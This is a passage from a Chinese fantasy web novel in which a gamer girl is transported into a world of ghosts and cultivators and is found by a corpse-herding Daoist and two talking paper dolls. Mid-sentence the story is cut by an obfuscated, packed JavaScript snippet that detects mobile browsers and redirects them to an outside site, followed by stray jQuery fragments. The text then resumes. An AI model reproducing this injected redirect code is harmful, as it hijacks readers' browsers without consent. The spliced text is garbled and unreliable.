黑夜如帷,难觅月影,唯有阴冷的腥风穿梭在影绰的枝丫间,留下阵瑟瑟的声响。
一行人低垂着头,艰难的行走在枝繁叶茂的丛林中,他们的脚步像是灌了铅,每走一步都极艰难,更似再被什么东西拖拽着行走。
为首者头发花白,身材矮小,身着青灰色道袍,左手执大红灯笼,右手捏着华光闪烁的翠绿铃铛。
在他身后紧跟着两只雪白的纸人,像是对金童玉女,手拉着手,蹦蹦跳跳的在他身后行走。
诡异的是,这对纸人身上穿着精巧的服饰,仪态轻盈,举止间活灵活现,面上并没有五官,却依然能够口吐人言。
女童说,“殠雾清减,灵气复苏,中洲果然造化神秀。”
男童应道,“是极。”
女童不知想到什么,叹气,“没想到吾等还有踏足这琅嬛福地之机,这一路艰辛不足外道啊。”
男童应,“是极。”
“哼,”那老道似乎有不同的观点,冷冷道,“你们别高兴的太早,万仙书院有教无类是对妖魔而言,我们是什么?进了不夜都,是生是死,不过人为刀俎。”
男童默默应,“是极。”
女童不语,气氛再次死寂下来。
伴着林深影昏,一行人行走间带起阵瑟瑟声响,红色灯笼散出朦朦的火光,更衬得幽暗间磷火青青、山鬼喑喑。
突然,青衣老道执铃之手猝不及防的一颤,清脆的铃音乍然响起,老道脸色大变,连退数步,除了两只纸人及时闪开,后面一行人猝不及防被撞了个东倒西歪,像是背篓被撞碎,倒出一连串纠缠不清的瓜果。
但青衣老道无暇顾及许多,口中念念有词,握着铃铛的手更是颤动不止,“天地自然,秽气分散,洞中玄虚,晃朗太元,八方威神,使我自然......”
铃铛清光乍现,映出枝丫间一团黑影。
它蠕动在树丛间,又像是随着风飘忽,模糊不清的身影在光与影的交界处颤抖,只听得一道尖细的声音徐徐传来。
“老先生,你看我像人还是像神?”
短短时刻,青衣老道已然汗流浃背,但此时他却微不可察的松了口气。
不外乎他如此骇然,盖因他们一行九死一生进入中洲地界,原百余人也只剩下他们几个苟延残喘,为的就是此地灵气尚且清秀,灵诡不兴。
进入中洲有些时日,他们一直未曾碰到灵诡。这松懈下的神经骤然紧绷,可不是满心惊骇吗。
青衣老道稳住心神,不由庆幸:还好,只是灵诡中最为常见的‘人诡’。
讨封这种事情,是如今在清渺大陆行走时常常碰到的。
到了灵诡横生之地,别说是荒郊野岭,便是青天白日间都会碰到这些鬼东西讨封,管你答得好不好,惹了它,怕是大道法则都救不了你性命。
也是万幸,这里是中洲,乃神器水琉纱的覆盖之地,也是天道法则最强横之地,就是传说中的‘天诡’来了,也要被这里人道兴盛的气机冲撞,只能盘着当犬。
据说,想要成为万仙书院的兵家弟子,就要杀百诡证道。兵家尚且如此,更别说比其煞更重的剑派了。
但是——
‘人阶灵诡’也有趋利避害的本能,虽然垂涎修士一身灵蕴血肉,却轻易不会招惹,多是缠着凡人。
他们为了遮掩身上灵气手段尽出,但仍有灵蕴在身,一路小心谨慎,这‘人诡’怎得还找上门了呢?
两只纸人面面相觑,显然也想到了这茬。
女童身上的纸屑瑟瑟作响,“成天惊心动魄,可算遇到个能欺负的,不若陪它玩玩。”
话音刚落,在女童身后的阴影里,那尖细声音若有若无的飘忽而来,“那你看我,像人还是像神呀?”
这一路,几人也遇到过不少次灵诡讨封了,每次的回答无不胆战心惊。
虽说如今灵诡还有天道法则制衡,使它们只能被禁锢在某种特定的规则之内,可你初遇到一灵诡,一时半会儿哪里知道禁锢它的规则是什么东西?
你说它像人,坏了它成神的道行,把它惹恼;你说它像神,它立地成神,杀你于无形之中;你说它四不像,那更是不得了,毕竟未知才是最可怕的。
所以说它像人,是最麻烦、最不稳妥,但却代价最小的回答。毕竟对于人族修士来说,只要对手变成了‘人’,斗起来才是‘其乐无穷’啊。
“我看你像......”女童刚要作答,恰在此时,异变再起!
一道几乎破音的女声怒吼道,“我看你像个大蠢猪!”
“你大爷的芝芝草莓奶盖!我法杖都要抡出火星子了,三万奶都看不住你,你就非要往那个boss技能上撞是吧,你走你星星的位呢!我奶玩的都比你好!撒把米在键盘上,鸡都c了!这都能脱boss仇恨!我真的懒得喷!”
陆雪桃怒火冲天,一拍桌子站起来,摔了耳机就喊,“你是人我吃!你个大蠢猪啊啊啊!”
随后她抬起头。
愣了。
她面前的电脑、键盘、鼠标......她打了一夜都没通关的副本......精心布置的电竞房......
通通消失了。
面前是伸手不见五指的黑夜,阵阵阴风吹得她寒毛直竖,如坠冰窟。
面前是提着一只大红灯笼的古风老道,还有两只飘在半空中没有五官的精巧纸人,他们无一例外都面朝自己,惨白如纸浆的面色被大红灯笼映出几分森然。
陆雪桃气沉丹田,两眼一翻。
“鬼啊!!!”
她晕了。
“......”
老道和两只纸人面面相觑,女童摸摸下巴,纳闷的想——
她现在封了一身灵窍,和傀儡纸人无异,这小姑娘是怎么一口道破她鬼修身份的呢?
倒是青衣老道反应最快,一手捞起两张纸人,还不忘把那小姑娘扛在肩上。
他摸了摸自己为数不多的良心,心神大定——他三清太/祖的,这一路都没遇到几个活人,可算做了件好事,这不夜都的问心鉴总要过了吧!
一人两鬼心思各异,但跑路的姿势却是无比之娴熟,好像早已跑过千万回。
......
我们的主角陆雪桃小姑娘,就这样在一个平平无奇的夜晚,水灵灵的穿越了。
如果再给她一次机会,她一定不会去玩重制版本的仙侠情缘ol,更不会带着一群小萌新熬夜开荒八人本,说不定,她就不会绑定游戏系统穿越到这个操蛋的世界。
她新买的4090ti,她的100g小说,再见了。
......
陆雪桃睁开眼,又闭上。
反复几次后,她躺得越发安详,脑海中循环播放着,“不敢睁开眼,希望是我的幻觉......”
“这真是大活人?”纸人女童戳了戳小姑娘的脸,惊奇道,“温热的!”
“我张衡山所言,还能有假。”
青衣老道毫无形象的瘫坐在树根下,浑身上下不可谓不狼狈,鞋都跑丢了一只。
他三清太/祖的,他张衡山竟然被人诡幻化成的‘大蠢猪’追了一夜!
他从储物戒里拿出双新鞋来,越想越是憋屈,“想我茅山张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375167|168301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家乃是术修鼻祖,传承万万年的赶尸匠,就连当年如日中天的炼尸宗遇到我家老祖,都要恭敬拜声祖师爷,何时受过这等......”
张衡山形容不出,只心中有苦难言。这一路艰辛不足外人道,可他哪里想到恰恰是他祖传的手艺出了这么大的纰漏?
——他赶得尸里,竟然冒出个大活人!
这可真是‘大姑娘上轿、头一回了’。
要是叫他祖父知晓,当天晚上祖坟就得冒烟,那老头得到他梦里骂上几个时辰。
张衡山郁闷不已,却也想不清楚这大活人到底是哪里冒出来的,只当真是自己出了纰漏,把活人当尸赶了......这可是大忌讳。
至于旁的什么,张衡山压根不敢去想。这世道妖魔鬼怪、诡神横行,可人死而复生这等事,依然是骇人听闻的。
比起顺手救下的小姑娘,他还有更加烦闷的事。
昨夜一时情急丢了尸群,如今没了赶尸掩盖他身上的生气,只能加快赶路了......
万幸这里已然是中洲,灵诡不兴。不然他赶得尸里混了活人,生气溢散,后果也不堪设想。
人倒起霉来,真是喝凉水都塞牙缝。
张衡山伸了伸腿,发现新鞋子根本不合脚,只能呲牙咧嘴的从储物袋里掏出双红色的大码绣花鞋,一脸沉痛的穿上了。
青灰色的破旧道袍下,那一双大红色的绣花鞋极为扎眼。
“张衡山,这一路走来我就服你。你是个干大事的。”
纸人女童没有五官,却依稀能听出她声音里瞠目结舌的意味。
男童跟着应,“是极。”
两只纸人齐刷刷冲张衡山竖起了大拇指。
“......”
张衡山在心里默念,‘我还要过不夜都问心鉴,绝不能造杀孽......不能造杀孽......不能造杀孽......’
平复番气息,他指尖微弹,一粒灰扑扑的丹药落在陆雪桃衣襟上。
“想活命,就吃了它跟我走。”
为了自己的‘大业’,张衡山难得耐心道,“这里虽是中洲,可你一凡人想凭自己走到不夜都仍是痴心妄想。也好在你是凡人,只要吃了这颗灵死丹就能掩盖生气,而我等却大不同,只得为掩盖身上灵蕴手段尽出,十分力也只能使出一二,前路危机重重,能不能跟上就看你的造化了。”
语毕,张衡山起身,踩着双绣花鞋大步朝前去。
而此时的陆雪桃再次睁开眼,正一脸懵逼的盯着眼前熟悉的光屏——
这,这不是她的游戏界面吗!?
[游戏系统已激活]
[人物界面加载中......]
[请玩家即刻到达不夜都开启主线任务]
布满灰色雾霭的地图徐徐在陆雪桃面前展开,而地图上所标注的不夜都方位恰好与老人行走的方向相反。
虽然搞不清楚状况,但手握‘地图’,陆雪桃又凭借多年打游戏主线的经验,很松弛的躺了回去。
是在做梦吗?
她不会穿了吧!太可怕了!
死掉能穿回去吗!?
初生牛犊不怕虎,此时的陆雪桃还没有见到那些神眉鬼道、搬山倒海的修士,初到异界的她对清渺大陆的印象,全靠脑海中模糊的概念,这些想法来源于她多年打游戏看小说的经验,就像梦境般模糊不清、一触即碎。
不过直到很多很多年后,回首此时的陆雪桃,已然有了不同的感悟。
人并不是无知才无畏,而是有了执念,才拥有畏惧——这不是坏事,恰恰相反,这就是修道。